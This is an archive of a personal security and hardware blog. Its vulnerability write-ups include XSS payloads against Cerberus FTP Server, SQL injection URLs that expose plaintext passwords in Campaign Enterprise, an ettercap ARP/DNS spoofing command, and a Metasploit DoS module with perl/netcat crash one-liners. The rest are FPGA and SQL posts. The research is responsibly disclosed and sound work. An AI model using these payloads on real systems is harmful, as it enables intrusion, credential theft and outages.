Monday, December 17, 2012

Persistence is Key, Another Bug Hunt

Introduction:
There are few things I find more frustrating than looking for bugs and not finding a single one. I've seen and used buffer overflows and format string vulnerabilities in war games, I've even seen some of these bugs in real applications. Sometimes I choose a piece of software to assess and it's just rock solid.

But that's not a reason to stop.

I am specifically talking about Cerberus FTP Server which is, in my opinion, very well written - and it showed in that it provided me a great deal of difficulty in finding bugs through binary analysis like I have done in the past. I did get lucky enough to find a couple of bugs though, but only once I shifted my paradigm. One set is fairly trivial and the other is not as trivial and kind of hard to get to fire. This was all performed using Cerberus FTP Server v5.0.5.1.

Usually I'd discuss the whole process of my bug hunt, but in this case it was a long time to get so far. I started by seeking out printf/buffer overflow vulnerabilities, running some fuzzers and the like. All to no avail. An analysis of the binary showed a good indication of why:

This call to sprintf is of the "_s" variant. This means it is "security enhanced", as described here. I checked every single possibility for *printf and found very few potentially viable options. In part compilers now have warnings for these sorts of bugs, but also when the developer is aware of them too it's that much worse. Of the possibilities I did find I was later informed they exist in unused code sections which are presently unreachable. So whether or not they'll even be available is unknown much less vulnerable too, especially after mentioning them!

Moving Along:

Just to get into it, I gave up on the classics and moved to the modern world - web based attacks. This is an area of vast opportunity and means it's often fruitful. The bugs can slip in through many avenues, sometimes even shrouded under the guise of guessed safe practices.

Let's begin with the trivial bug. It is a Cross Site Scripting (XSS) scripting bug and it can be located in the "/servermanager" page of the web admin interface for Cerberus FTP Server. This interface is by default disabled. One enabled an administrative user may login at "http://localhost:10000/" Once the administrator is logged in they may find a link to the server manager page in the left menu. Or you may use "http://localhost:10000/servermanager"

It should look, something like this:
Select the "Messages" tab and you will be presented with the vulnerable page - though if the server has already been exploited, those should have already fired. The messages page looks like so:
Each of the message fields may be exploited trivially like so:
</textarea><script>alert('trivial xss');</script>

Click update to save the message, then reload the server manager page for the effect:

This as fun and all, but as one should note there is only 1 administrative user for the web interface and thus if this XSS bug is being leveraged - you probably have larger problems. None the less, this bug has been fixed and the latest version of Cerberus FTP has the corrections.

And a Little Harder:
Now for the more difficult bug. Having found a trivial XSS bug I now know that at least some fields may or may not be properly escaped. So the goal is to find other methods of interacting with the web interface that may not require authentication. Most of the options are available only to administrative users, and after exploring all the available options I finally decide to attempt to attack the "http://localhost:10000/log" page

First thing to note is the log is empty. Javascript is required for using the log page and it is on an 8 second update cycle. When log entries are shown you have approximately 2-3 seconds to review it before they are cleared. This plays a role in making this bug irritatingly difficult to fire. It should also be noted that the data transfer from the servers are in fact html encoded, hiding this bug from view in post-mortem analysis. No time like the present.

The log page is shown here, empty, waiting on it's 8 second cycle:
Normal usage will fill the log with events, but we're most curious about usage which does not require any form of authentication. To generate some "usage" traffic I write application in python (test.py):

import sys
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('192.168.0.200', 21)
sock.connect(server_address)
data = sock.recv(128)
print >>sys.stderr, '%s' % data
user = "USER testuser\r\n"
sock.sendall(user)
data = sock.recv(128)
print >>sys.stderr, '%s' % data
quit = "QUIT\r\n"
sock.sendall(quit)
sock.close()
Then I execute this from bash using a simple for loop, and I note that it returns the XSS banner we've already exploited.
for each in {1..100}
do
python test.py
done
We execute this loop and look for the results, sometimes I had to run the script multiple times to get it to show:
Obviously we have some control over what is shown in this log even though we have not authenticated in any way. The real question is, does this render in a way which might be dangerous. To test, we merely adjust our 'testuser' to be something more effective fun:

USER <div onmouseover="alert('xss');" />

And run the loop again, because we're using the onmouseover - we'll need to fire this by mousing over the areas where the divs will be. If it works it should be immediately apparent.

And a Cross Site scripting bug is discovered. As with the other one I am told this bug has been patched and is no longer an issue. Special thanks to Grant @ Cerberus FTP for the fixes and extremely timely support given, this has been the best company I've had the pleasure to deal with so far in regards to security related matters.

For reference these bugs were assigned CVE-2012-6339.

See you next time and until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Thursday, October 18, 2012

My First Experiences Bug Hunting, Part 2

So in Part 1 I disclosed the specifics of CVE-2012-3819, and I ended with the concept of loading a debugger (OllyDbg in this case) in order to analyze the program while it crashes from the stack overflow exception. During this process it is easy to note that no control of the EIP register is obtained - and thus the bug is relegated to a generic DoS type bug.


As you can see the registers remain largely intact. EAX is a pointer on the stack (which is very low at the point of crashing, due to the stack consumption). So it is shown that the impact of this bug is likely very small. But since we have the debugger open anyway, we go ahead and do a search for strings. This is so we can see what else might be of interest just while we're in town.

To do this we first want to be analyzing the actual executable, in this case: "Campaign11.exe" which is the primary executable for Campaign Enterprise 11, my installation is a previous version (11.0.538). This software, of which I found another five vulnerabilities within, is used to send e-mails to large lists of individuals. It is an excellent marketing tool. Including the recent fixes for these bugs (version 11.0.551), I believe it will be that much better now. We click View in the menu and select "Executable Modules" which loads a list of the images presently mapped to memory. We then double click the entry which lists Campaign11.exe and this loads that module into the CPU window.

Right clicking in the instruction pane of the CPU window we choose "Search for -> All referenced text strings." This loads a list of things that look like strings in the Campaign11.exe application. This will provide us a great deal of insight into the inner-workings of the application. First I note at the top of this list are several tell-tale signs that it was programmed in Visual Basic. Including typical VB style nomenclature for control names, etc.

Knowing one of the key failures in many web based applications is SQL Injection (SQLi) I begin looking for SQL strings of interest. I right click in the list of strings and select "Search for text," running this command I seek out instances of "select * from" which is ubiquitous. I repeat this search, seeking things that look interesting. I find several entries that could be fun:
004C6143   PUSH Campaign.00426428                    UNICODE "select * from tblUsers where "UID"=" 
004C624D   PUSH Campaign.004264AC                    UNICODE "select * from tblUsers where UID="
There are many of these, but they all seem invaluable - they appear to be the first start of a string concatenation which may lead to SQL injection - and this is the sort of code you would associate with the login screen. I find all instances of "select * from tblUsers" and set break points on each. I use Ctrl+L to go to the next, then use F2 to speed the process of "red-pointing."

Then I try to login (plus a little SQL Injection since I'm expecting the possibility) to see if I won anything....


Damn. I see my SQLi is thwarted likely by a call to replace("'", "''"). Scrolling up some you can see this call does in fact happen. I see down in the current operands area that the string we're specifically dealing with is  "select * from tblUsers where username=". So back in the strings window I limit my breakpoints down to just the ones that have an instance of the string we landed on first. There are only two, and I notice something interesting nearby the second instance. A string "User-Edit.asp" - I try to load this URL "http://localhost:82/User-Edit.asp"

Bingo! I see a screen with *USERNAMEINPUT* as the username - I presume this is some sort of place holder. I combine this with the test for UID in the strings above and take a stab in the dark - I use UID as a Query String parameter and set it to 1. "http://localhost/User-Edit.asp?UID=1"

No dice, but I did land on a break point which may show me what's happening a bit. I step forward a little bit and wait for a string to appear in the top right pane of the CPU window - eventually it does, right around: 
005FD39A   . 8B85 60FFFFFF  MOV EAX,DWORD PTR SS:[EBP-A0]
The string is in EDX, and I see it's carrying my "UID=1". I wonder... what about SQLi here? I try it. "http://localhost:82/User-Edit.asp?UID=1%20OR%201=1"

I see my SQLi seems to be unhindered, so I let the program run through (F9).



I'm greeted with the user-edit page - and I have the admin user (the only user in my case). Reviewing the source of the page, I see it populates the username as well as the password boxes. In my example it appears random - but that's just the password I punched in. Its  in plaintext!

I go ahead and enumerate all of the available .asp pages and continue similar testing on these. Then I contact the vendor as well as cve-assign@mitre.com and these are what was assigned:
CVE-2012-3820: Multiple SQL Injection: activate.asp – SerialNumber field, User-Edit.asp – UID field 
CVE-2012-3821: Unauthorized access to the activate.asp page, allows modification of stored database field SerialNumber without authentication or authorization.
CVE-2012-3822: Unauthorized access to the User-Edit.asp page, allows attacker to enumerate users and their credentials by supplying their UID in the querystring. 
CVE-2012-3823: The product has stores passwords in clear text and these may be retrieved  using the User-Edit.asp page. 
CVE-2012-3824: Multiple pages accessible without authentication or authorization which may lead to the unintended disclosure of information or functionality but was not assessed. Register.asp, Group-Edit.asp, Subscriber-Edit.asp, SMTP-Edit.asp, Email-Edit.asp, Admin-GlobalConfig.asp, Admin-Users.asp, Campaign-Datasource.asp 
And that sums up my first experiences bug hunting.

See you next time and until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Monday, September 24, 2012

Pandora Jacking

So Pandora.com is a very cool and very awesome website. It introduces me to all sorts of new music. Expanding my repertoire using the  heuristic capabilities of Pandora to determine what I like is very rewarding. Sometimes it gets it wrong, and corrections are recommended. But sometimes I like to skip to the chase. Sometimes I just want to listen to my music. And I know I could just pause Pandora and start up my media player... but this is a tech blog, gotta make it fancy.

So, enter the desire to inject my own music into the Pandora experience. At first this seems like a daunting task. There is a lot of traffic that flies across the wire when loading the Pandora browser. A lot of data to sift through to find the meaningful parts. I worry about file formats and structures and interfacing with flash etc. And then I calm my nerves (with whiskey) and begin logging some data. I setup chrome to pass all my web traffic through a web proxy, OWASP ZAP.

First off... holy crap, ads/ad tracking. I damn near died when I saw the list of resources that load when visiting pandora!


But it's not the time to get caught up in the overwhelming nature of ads. Sifting through all the requests, I identify the ones that look particularly pertinent. They kinda look like:
GET http://audio.*\.pandora\.com/access/?(.*)
This is a regular expression representation to simplify the otherwise very long requests. That is '.' represents any character and '*' the previous character repeating zero or more times. So '.*' means any number of any characters. The '\' acts as an escape which removes the special meaning of the character following, thus '\.' means a literal period.

The portion following the '?' seems to contain tokens and keys and etc. for pandora,  so I'm actually going to ignore this because it occurs to me - if done right the content server at pandora will never even receive this request! How you ask? Well it's simple really... Domain Naming System (DNS) Spoofing.

It's somewhat a sure fire bet that your machine does not already have the Internet Protocol (IP) address of the content server already stored. This means before you make the request to GET http://.... you're gonna have to connect to the server - you'll need the IP address to do this. That is, you'll need to make a DNS request - and this is where we'll hijack control to inject our own content.

By controlling the DNS requests we can control where the pandora client goes to get the music. Then we just server up a file of our choosing and hope it works. For simplicity I use a file delivered from pandora themselves to avoid issues with encryption, or formatting, etc.

So I open up etter.dns, add a line for:
audio*.pandora.com A 192.168.0.10
 The "192.168.0.10" is the IP address of my new content server. I start up ettercap with the dns_spoofing plugin started:
ettercap -T -M ARP /192.168.0.1/ /192.168.0.2/ -P dns_spoof
 Now, with luck, I should be in the middle of the gateway (192.168.0.1) and my pandora player (192.168.0.2), and redirecting the content requests to a local server (192.168.0.10) running on port 80. I chose to use apache, which is installed in Backtrack 5 by default. We just need to modify the file at:
/etc/apache2/sites-available/default
 We add an AliasMatch, which does regular expression and rewriting for access.
AliasMatch /access/(.*) /var/www/music.m4a
 This redirects all requests for /access/* to return the file "music.m4a".

For testing, I played Pandora normally but through ZAP and intercepted one of the /access/ requests on my "Classic Rock" station. Def Leppard - Pour Some Sugar on Me, I copied the Request-URI to the clipboard and pasted it into Chrome's URL bar. This downloads the file locally, which gives us an actual Pandora encoded  file to use. I 'save page as...' and save the file to /var/www/music.m4a.

Then I started up the web server and started a new pandora station, "Rick Astley." Obviously you can't hear it but this looks like this:

But, I hear Def Leppard - Pour Some Sugar on Me.

Replacing Rick Astley with Def Leppard... Hmm... I suppose it could be reversed too.

Pandora Jacking is successful!

Happy hacking, I'll bring something else cool soon I hope. Until then, Hack Legal, Hack Safe, but most of all Hack Fun!

Monday, September 17, 2012

SQL and finding a Floating Point Error

So we have some SQL which goes out and grabs some data. Then we use that data for processing. Pretty normal. But the fun part is, sometimes we reuse that data in the same SQL. No this is not about stored SQL Injection, it's really just about a dumb bug we ran into recently, but a reuse bug would be pretty fun too.

So we have a list of people, and we've compared this list of people to another list of people using the Levenshtein Algorithm. Then we store the results of that comparison in the database so some users can check it out later, a time/memory trade off which has actually been fairly useful (especially with the speed increases we've given it over the years).

Now when a user loads this list of comparisons, we track what the current "match_score" is. This is the decimal percentage difference between the two people's information. Weighted to our liking.  So our application gets the match_score:
SELECT TOP 1 * FROM People_Comparisons P WHERE ID = 13689385
Return: 13689385 |  0.214736842105263
From the perspective of the application, and the database, ID is effectively random. We sort the results of comparisons by the match_score then by the ID, so that when doing reviews we're looking at each ID (x) in the subset of records with the same match_score (y). But the point is, the ID is sorted only within each match_score across the domain of Y values. To get the next record we run a query with the currenct ID and and match_score, N(x,y), which uses the following SQL to return the next record of interest:
SELECT TOP 1 * FROM People_Comparisons P WHERE ID= 13689385 AND MATCH_SCORE > {0}
In the above {0} is replaced with the previously retrieved match_score, in this case the value:
0.214736842105263
Now some experienced database type individuals probably already see the problem. But to less experienced individuals, this can be quite the snake-bite. Because when we run the SQL we have a somewhat unexpected result:

SELECT TOP 1 * FROM People_Comparisons P WHERE ID= 13689385 AND MATCH_SCORE > 0.214736842105263
Return: 13689385 |  0.214736842105263
Obviously there is a mistake, we've used the same value  (0.21473...) and it seems impossible that this SQL should return the same row when we're expecting a row with a match_score greater than that value! Enter Floating-Point Precision.

The quick rundown of it is this: What the database reports is a truncated version of the raw stored value. We have 15 significant figures displayed, but the database is storing much more data than this. This truncation gives us a raw binary value which is different than that which is stored - and in this case, less than what is stored. Thus, the next greater match_score, after truncation/rounding, is the same match_score! To solve this I select the value of the match score into a SQL variable then us this value to maintain the full precision of the data type and reuse this variable for comparisons.

Friday, September 14, 2012

Writing My First Metasploit Module

So I decided I should learn how to use Metasploit. It seems to me, that this framework is the wave of the future, even though it's already in it's fourth revision with what I understand to have been several major rewrites. So I guess the future is already here and I'm just behind the curve!

For the uninitiated, Metasploit is a framework. This means it provides the tools necessary to achieve some common goals. You may have guessed it, the common goal is exploitation of vulnerabilities found in systems. Note: The Metasploit website mentions a Pro version and Community Edition, an Express version and the Metasploit Framework for developers. We'll use the Framework which is provided in BackTrack 5R3 already!

To just try this out go to the Backtrack website: http://www.backtrack-linux.org/

  1. Download it
  2. Burn it
  3. Boot it
  4. Continue

In my previous post I discuss the discovery of a very minor vulnerability. Having developed a simplistic exploit it in perl, it seemed the perfect opportunity to develop a Metasploit module for it as well. This would exercise a new programming language for myself (ruby) for which I have no prior experience. And facilitate the development of other future exploits in a rapid development environment through practice.

As discussed in the book Metasploit: The Penetration Tester's Guide, a reasonable technique for making your first module is, start from another module! So I chose to base mine off of the module found at:
/opt/metasploit/msf3/modules/auxiliary/dos/http/apache_mod_isapi.rb
I chose this module because my module will also be in the DoS for HTTP servers area. Since, it is a DoS for an HTTP server. It is also short, and simple, which means easy to modify.

The first bits to change are, the informative bits. I modified the Name, Description, Author, Version, References, and Disclosure Date to match the specifics of my vulnerability. But this is not necessary to the functionality. The next important piece was to register my options, since they don't match the apache_mod_isapi denial of service options. This is important to the functionality.

I kept the RHOST, which makes sense, and I only need one option for a Remote port (RPORT) - so I scoured through the framework with a little find + grep magic:
find ./ -exec grep -H "RPORT" {} \; | grep "Remote port"

And found
./auxiliary/crawler/msfcrawler.rb: OptInt.new('RPORT', [true, "Remote port", 80 ]),
Yep, copy that and throw it into the ruby script. Watching out to remove the comma at the end since it's the last option in my list. Next I stripped out most extraneous communications and just followed the general feel of the ruby script to build a request of "A" * size bytes, tack on my "\n\n" to the end, and send it!

This completes my module, and I save it to:
~/.msf4/auxiliary/dos/http/dart_request_dos.rb
Note:  if you save to /opt/metasploit/msf3/modules/auxiliary/dos/http/, and later perform an update, it will wipe out your module if it is not in the actual framework tree. So be wary of that shortcut! (yes it bit me)

Now when I load msfconsole, I have access to my module and it's as simple as:
use auxiliary/dos/http/dart_request_dos
set RHOST [target_ip]
set RPORT [target_port]
exploit
------------------------------SNIP-------------------------------------
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Description' => %q{ 'Name' => 'Dart Webserver <= 1.9.0 Stack Overflow', Dart Webserver from Dart Communications throws a stack overflow exception when processing large requests. } , 'Author' => [ 'catatonicprime' ], 'Version' => '$Revision: 15513 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3819' ], ], 'DisclosureDate' => '9/11/2012')) register_options([ Opt::RPORT(80), OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust', '520000' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end size = datastore['SIZE'] print_status("Crashing the server ...") request = "A" * size + "\r\n\r\n" connect sock.put(request) disconnect end end

Wednesday, September 12, 2012

Implementing a DEPP interface on a Basys2, part 2

Previously, I described how to interface with a DEPP peripheral using the Adept SDK, and how to construct such a peripheral that will also interface with an adder. Here, I describe how to construct such an adder using Xilinx IP, and then how to connect everything together.

My first component is a DEPP peripheral, which is described in an earlier post.

Next, I want an 8-bit unsigned adder. Because I do not need to optimize for space on the FPGA, I'm going to instantiate a combinational adder. I do this by clicking the New Source button in ISE, then selecting IP (CORE Generator & Architecture Wizard). I give it a file name, in this case Adder8Bit, and click Next. I expanded the Math Functions folder, then Adders & Subtracters, and finally selected Adder Subtracter. I clicked Next again, then Finish.

The next screen allows you to configure the adder. I configured mine as shown here:

As previously described, I want an 8-bit unsigned adder, so I select unsigned for both input types, and 8 for the width of each input. I selected Add mode, with an output width of 8 (I'm ignoring the carry-out in this case). In order to create a combinational adder that doesn't depend on a clock signal, I selected Manual latency configuration with a latency of 0. As I selected options, the symbol on the left changed. When I was complete, I had only the two inputs and one output. When I had all of my options properly set, I clicked Generate, and let ISE crank away for a little while.

The core generator only creates a definition of something, not an instance. To actually make my components useful, I needed to create a single instance of my DEPP peripheral and a single instance of the adder. To do this, I created a new VHDL source file, then right-clicked on it and clicked "Set as Top Module." This tells ISE to that this is the module that interacts with the outside world (in this case, the pins on the FPGA package.

This project only utilizes the EPP pins on the FPGA, so the black-box entity description is fairly simple.

entity DeppAdder is
port(
--EPP Signals
EppAstb : in std_logic;
EppDstb : in  std_logic;
EppWr : in  std_logic;
EppWait : out  std_logic;
EppDB : inout std_logic_vector (7 downto 0)
);
end DeppAdder;

Within this entity, I need to create two components, and "wire them up" appropriately. To do this, I used a structural architecture.

architecture structural of DeppAdder is
component EppModule is
Port ( Astb : in  STD_LOGIC;
 Dstb : in   STD_LOGIC ;
 Wr : in   STD_LOGIC ;
 Wt : out   STD_LOGIC ;
 DataBus : inout  STD_LOGIC_VECTOR  (7 downto 0) ;
 Op1 : out std_logic_vector  (7 downto 0) ;
 Op2 : out  std_logic_vector (7 downto 0) ;
 Result : in  std_logic_vector (7 downto 0));
end component;
COMPONENT Adder8Bit
PORT (a : IN STD_LOGIC_VECTOR (7 downto 0);
b : IN  STD_LOGIC_VECTOR  (7 downto 0);
s : OUT  STD_LOGIC_VECTOR  (7 downto 0));
END COMPONENT;
signal Op1, Op2, Result : std_logic_vector  (7 downto 0);

The component declarations here just tell the compiler the inputs and outputs of the components I want to instantiate, not how they work. I still haven't instantiated any components, just the signals! To instantiate the components, I need to define the architecture.

begin
EppModule1 : EppModule port map (
Astb => EppAstb,
Dstb => EppDstb,
Wr => EppWr,
Wt => EppWait,
DataBus => EppDB,
Op1 => Op1,
Op2 => Op2,
Result => Result
);
Adder8Bit1 : Adder8Bit port map (
a => Op1,
b => Op2,
s => Result
);
end structural;

My top level entity instantiates two components, an EppModule named EppModule1 and an Adder8Bit named Adder8Bit1, and connect them using 3 intermediate signals, Op1, Op2, and Result. To test out my architecture, I ran the program described in my earlier post.

While adding two unsigned 8-bit values together is very mundane, this architecture can be expanded. For example, an audio file could be downloaded to the FPGA for post-processing, or a key could be stored, and then the FPGA could be used to perform cryptographic operations.


Implementing a DEPP interface on a Basys2, part 1

In a previous post, I discussed the use of Digilent's Adept SDK to move data between a PC and the Basys2 board. This requires instantiating an interface on the FPGA. Here, I will go through the interface one piece at a time. My code is based on Digilent's example code.

The Enhanced Parallel Port (EPP) interface consists of an 8-bit data bus and control signals. The data bus is bi-directional, and data flow is controlled by the host (in this case, the PC) using the write signal. When write is high, the host is reading from the data bus. The timing of data on the data bus is controlled using the astb (address strobe) and dstb (data strobe) signals. These signals are asserted by the host, and indicate that an address should be written or that data should be read/written respectively. The peripheral asserts a single signal, wait, which is used to indicate that the peripheral is ready to accept data or has data available. For more information on these signals, and the EPP interface, see the documentation available from Digilent.

In this case, I need a peripheral that can read two operands, and write a single result. The black-box description of this is:
entity EppModule is
    Port ( Astb : in  STD_LOGIC;
           Dstb : in   STD_LOGIC;
           Wr : in   STD_LOGIC;
           Wt : out   STD_LOGIC;
           DataBus : inout  STD_LOGIC_VECTOR (7 downto 0);
 Op1 : out std_logic_vector  (7 downto 0);
 Op2 : out std_logic_vector  (7 downto 0);
 Result : in std_logic_vector  (7 downto 0));
end EppModule;
Because only one 8-bit value can be sent across the data bus at a time, the address must be sent before data is read or written. Therefore, the peripheral needs a single signal to store the address value.

architecture Behavioral of EppModule is
signal addressReg : std_logic_vector  (7 downto 0);
The wait signal must be asserted after one of the strobe signals is asserted, or a timeout will happen. In my design, there are no constraints to when the device is ready to read or write data, so the wait signal should be asserted as soon as possible after every read or write strobe.
begin
-- Epp signals
   -- Port signals
   Wt <= '1' when Astb = '0' or Dstb = '0' else '0';
When the host wants the peripheral to write data to the data bus, the write signal is asserted. I only have a single result that will be read so there is no need to verify the address before writing to the data bus.
DataBus <= Result when (Wr = '1') else "ZZZZZZZZ";
Next, I define the behavior of the address register. This register will be written when a write strobe occurs.
  -- EPP Address register
  process (Astb)
    begin
      if rising_edge(Astb) then  -- Astb end edge
        if Wr = '0' then -- Epp Addr write cycle
     addressReg <= DataBus;  -- Update the address register
        end if;
      end if;
    end process;
The operand registers are similar, but in this case there are 2 registers, so the action to be taken depends on the contents of the address register.
  -- EPP Write registers register
  process (Dstb)
    begin
      if rising_edge(Dstb) then  -- Astb end edge
        if Wr = '0' then -- Epp Data write cycle
       if addressReg = "00000000" then
Op1 <= DataBus;
elsif addressReg = "00000001" then
Op2 <= DataBus;
end if;
        end if;
      end if;
    end process;

end Behavioral;
And that completes the description of my EppModule. The full file can be found for download here. My next write-up will describe how to combine this with an adder so that the whole thing works.



Communicating with the Basys2 using the Adept SDK

Writing code for development boards is fun: LEDs flash, respond to button presses, etc. Eventually though, we would like to be able to communicate with our boards using a PC. Many boards include a RS-232 (serial) port for just this purpose. RS-232 has a few drawbacks though, most notably that if your computer was purchased this millennium, you will probably have to use a USB-serial converter. These are cheap and prevalent, but it is just another thing to clutter up your workspace. Also, transferring large amounts of non-ASCII data (i.e. raw hex) can be challenging and time consuming. Since legacy ports are going the way of the Dodo bird, many developers are omitting the serial port from their development boards, and instead including a USB controller. The Basys2 from Digilent is one such board. This leaves us in a lurch, unless we can find a way to interact with the device through its USB controller. And that's were the Adept SDK comes in.

Instead of having to look up the specifics of the USB chip on the board, the Adept SDK provides APIs to interact with the board. In this post, I'll cover just 2 of the libraries: the device access management library (DMGR) and the asynchronous parallel port library (DEPP). Note that DEPP is so named for the similarity to the Enhanced Parallel Port (EPP) protocol used by parallel ports.

The Adept SDK provides code samples for each of the libraries. For the DMGR library, there are 2 examples: EnumDemo and GetInfoDemo. To get started, download the Adept SDK and Adept Runtime from Digilent. Install the runtime, and decompress the SDK somewhere you can find it. The SDK contains:
  • Documentation: PDF files describing how to use the libraries in the doc folder
  • Header Files: The include folder contains header files
  • Static Libraries: The APIs are provided as precompiled libraries
  • Code Samples: Example code for each library is included in the samples folders

After downloading the SDK for Windows, I set about to compiling some of the samples. There are introductions on how to do this in the samples directory, but they are specific to Visual Studio. In my case, I am using MinGW's toolchain. The linkers in the two toolchains expect library files to be named differently. Visual Studio expects a library file named <library name>.lib, and this is how the libraries are provided by Digilent. MinGW's linker, ld, only accepts library files in the format lib<library name>.a. Similarly, ld running under Linux expects a file lib<library name>.so. So, in order to use the Windows libraries provided by Digilent, I had to rename all of the files. dmgr.lib had to be renamed libdmgr.a, for example. The Windows version of the SDK contains the libraries in the lib or lib64 directories. The Linux version installs the libraries with the runtime.

In order to get g++ to compile the examples, I had to specify the include directory using -I, specify the library directory using -L, and specify which libraries to use AFTER the filename. For example, a project that uses only the DMGR library would have -ldmgr after the file name.

I compiled and executed the DMGR examples EnumDemo and GetInfoDemo. These confirmed that there was in fact a Basys2 attached to my system, and that it supported the DEPP library. I then instantiated a DEPP interface on the FPGA that included 2 operand registers and a result register. The operand registers can be written by the PC, and the result register can be read. Actually creating those structures on the FPGA will be covered in another post, but project files can be found here.

I wanted to write some code to write values to the operand registers, then read the result out. Here's what it looks like (full file here):
 #if defined(WIN32)
/* Include Windows specific headers here.*/
#include <windows.h>
#endif
This makes the necessary types available on a Windows.
#include <stdio.h>
#include "dpcdecl.h"
#include "dmgr.h"
#include "depp.h"
All of the header files needed for this project.
#define OP1ADDR         0x00
#define OP2ADDR         0x01
#define RESADDR         0x00
I chose to use text substitutions to define the register locations, to make my code easier to read. And then we start with main():
int main()
{
        HIF deviceHandle;
        int status = fTrue;
        char deviceName[32] = "Basys2";
        unsigned char result;
The type HIF is defined in dpcdecl.h, and is a structure that holds a handle to a device. This handle is used to interact with the Basys2. The status variable will be used for error detection/error handling. The device name is the UserName of the device. I found the UserName using EnumDemo. result will hold the result of the arithmetic that we read back from the device.
//Open a handle to the device
status = DmgrOpen(&deviceHandle,deviceName);
if (status)
printf("Successfully opened a handle to %s\n", deviceName);
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}
 The first step in interacting with the device is to open a handle to it. Note that the API functions return FALSE if there is an error, and TRUE if they are successful.
//Enable the default port (Port 0) on the device
status = DeppEnable(deviceHandle);
if (status)
printf("Successfully enabled Port 0\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}
The EPP port must be enabled before reading or writing.
//Do some math
DeppPutReg(deviceHandle, OP1ADDR, 0x00, fFalse);
DeppPutReg(deviceHandle, OP2ADDR, 0x00, fFalse);
DeppGetReg(deviceHandle, RESADDR, &result, fFalse);
printf("0x00 + 0x00 = 0x%02X\n", result);
//...
DeppPutReg(deviceHandle, OP1ADDR, 0xFF, fFalse);
DeppPutReg(deviceHandle, OP2ADDR, 0x01, fFalse);
DeppGetReg(deviceHandle, RESADDR, &result, fFalse);
printf("0xFF + 0x01 = 0x%02X\n", result);
Here's where I actually transfer some data to and from the device. I write to the operand registers using DeppPutReg(), and then read the result register using DeppGetReg(). I ran through several scenarios to make sure that the adder was working properly.
//Disable the active port on the device
status = DeppDisable(deviceHandle);
if (status)
printf("Successfully disabled DEPP port\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}

//Close our handle to the devicestatus = DmgrClose(deviceHandle);
if (status)
printf("Successfully closed device handle\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
} 
This is all cleanup to make sure that I gracefully release the device.

When it was all said and done, the output looked like this:
Successfully opened a handle to Basys2
Successfully enabled Port 0
0x00 + 0x00 = 0x00
0x01 + 0x00 = 0x01
0x01 + 0x01 = 0x02
0xA5 + 0x5A = 0xFF
0xFF + 0x01 = 0x00
Successfully disabled DEPP port
Successfully closed device handle

And so, I successfully moved raw data to the device, and read a result. While an unsigned 8-bit adder is trivial, this gives me all of the building blocks to do something more interesting, like cryptographic work.

Tuesday, September 11, 2012

My First Experiences Bug Hunting, Part 1

/*
Responsible Disclosure(info): in the following post and future posts I will cover the specifics of my first bug hunt. This has led to six assigned CVEs. One of which is discussed below and it's ID is CVE-2012-3819. I will discuss the other five, and the affected software, once the vendor(s) has had time to assess and determine remediation for the remaining vulnerabilities. CVE-2012-3819 was originally reported to an affected vendor in October of 2011, it was reported (by the author) to the responsible vendor August 2nd of 2012, the responsible vendor has replied stating:
"Thank you for the additional information. The technical team was able to reproduce the issue and log it as issue #5654. I know there are not immediate plans to resolve the issue, however it will be reviewed when  the product is again up for renewal." [formatting by me] 
Enough of the boring stuff, let's get to the fun!
*/

A couple of years ago I had never even heard the term Bug Hunt. Had never really done any real exploitation what so ever. Technique was something of myths, reverse engineering was something I did to watch bits floating around in memory and that's about it. Maybe I could get a lucky (well 'lucky' after trying 20 different locations) patch in a video game to gain an edge or something. But really, understanding a bug and developing an exploit, was (is?) beyond my caliber.

Then I heard about this so called "Bug Hunting," and figured - what the hell, I have access to software and I like playing with debuggers. Let's see if we can't break some code. And this is where my understanding of the steps involved come in, to my knowledge they involved the following:
  1. Install Software
  2. ????
  3. Win/Exploit
And to me it really does feel like magic, like only a Techno-God could look over some executable and discover a bug and how to exploit it. But I knew there must be a way to find my own bug and make a custom exploit. So I looked toward a few resources. I bought eight books on various forms of information security, from web, to database. And it seems like the favorite type of exploit, the bug hunter's creme of the crop exploit, is the Stack or Buffer Overflow. Armed with a plethora of information, I picked an application with some familiar technology to me. I chose a Web Server/Web App which we use at work, I downloaded the trial and installed it. Then it was time to see where it'd go.

The application has a stand alone web server, the same one found here: Dart Communications. The version I was utilizing was version 1.8.0.10 (current as of writing is 1.9.0.0). I loaded the app up and the software began spinning it's wheels. Simple, right?

It does whatever stuff it needs to start up, and then bind()s to an address followed by a listen() for incoming connections. So now what? Step #2 above is a black box to me - I don't really know where to go, or what the hell I'm doing. So I decide to start with the normal use case scenario. I connect to the server and make a valid request by printing the following to a connected socket:
GET / HTTP/1.1\n\n
Simple enough to do, it's just a quick perl + netcat combo [nifty trick from Hacking By Erickson, Jon (Google Affiliate Ad), plus a shameless plug for ad-sense, it is a fantastic book though I swear].
perl -e 'print "GET / HTTP/1.1\n\n"' | nc server 80
I get a typical "200 OK" response and I think quietly to myself... Then I think about the different pieces of this request. They take the form of '[method] [requested-uri] HTTP/[version]\n\n' which means I can control the method (e.g. GET or POST), the Requested-URI (e.g. / or /index.html), and the HTTP version reported (e.g. 1.1 or 1.0).

So I think to myself, "If I were writing a web app I'd need the file name... would I check the size of the URI in the GET/POST request?"
perl -e 'print "GET " . "A" x 9999 . " HTTP/1.1\n\n"' | nc server 80
The server responds with a 401/403/404 or whatever. An expected and normal result having fed in garbage data. So I figure what the hell, let's go really huge and see if it survives.
perl -e 'print "GET " . "A" x 520000 . " HTTP/1.1\n\n"' | nc server 80
Presto! The server crashes and I get a feeling like I might be onto something good. The number I'm showing here was chosen experimentally, I really just kept multiplying by ten. I e-mail the vendor to inform them of the bug and I begin an investigation to see how far down the rabbit hole it goes. The hope is remote arbitrary code exploitation.

/*Spoiler Alert* more CVE-2012-3819 specifics
